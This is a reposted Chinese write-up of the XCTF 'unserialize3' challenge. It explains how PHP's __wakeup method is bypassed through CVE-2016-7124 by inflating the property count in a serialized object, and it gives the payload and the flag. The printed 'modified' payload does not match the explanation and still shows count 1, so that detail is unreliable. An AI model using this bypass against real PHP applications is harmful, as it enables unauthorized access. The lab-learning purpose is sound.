目录 题目直接显示网页源码解题思路构造payload得到flag 题目直接显示网页源码 class xctf{public $flag = '111';public function __
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。
而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导致exit。因此我们需要根据漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。编辑php脚本输出序列化的字符串:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}}$a = new xctf();print(serialize($a));?>
得到:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的
本题序列化字符串的标准格式:O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…这里我们将属性个数由1改为2进行绕过。
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
cyberpeace{1741954fde5f0c1b3e7e67c043b5d704}
来源地址:https://blog.csdn.net/qq_46094681/article/details/127003677
--结束END--
本文标题: 【攻防世界-Web】unserialize3解题思路
本文链接: https://lsjlt.com/news/387338.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0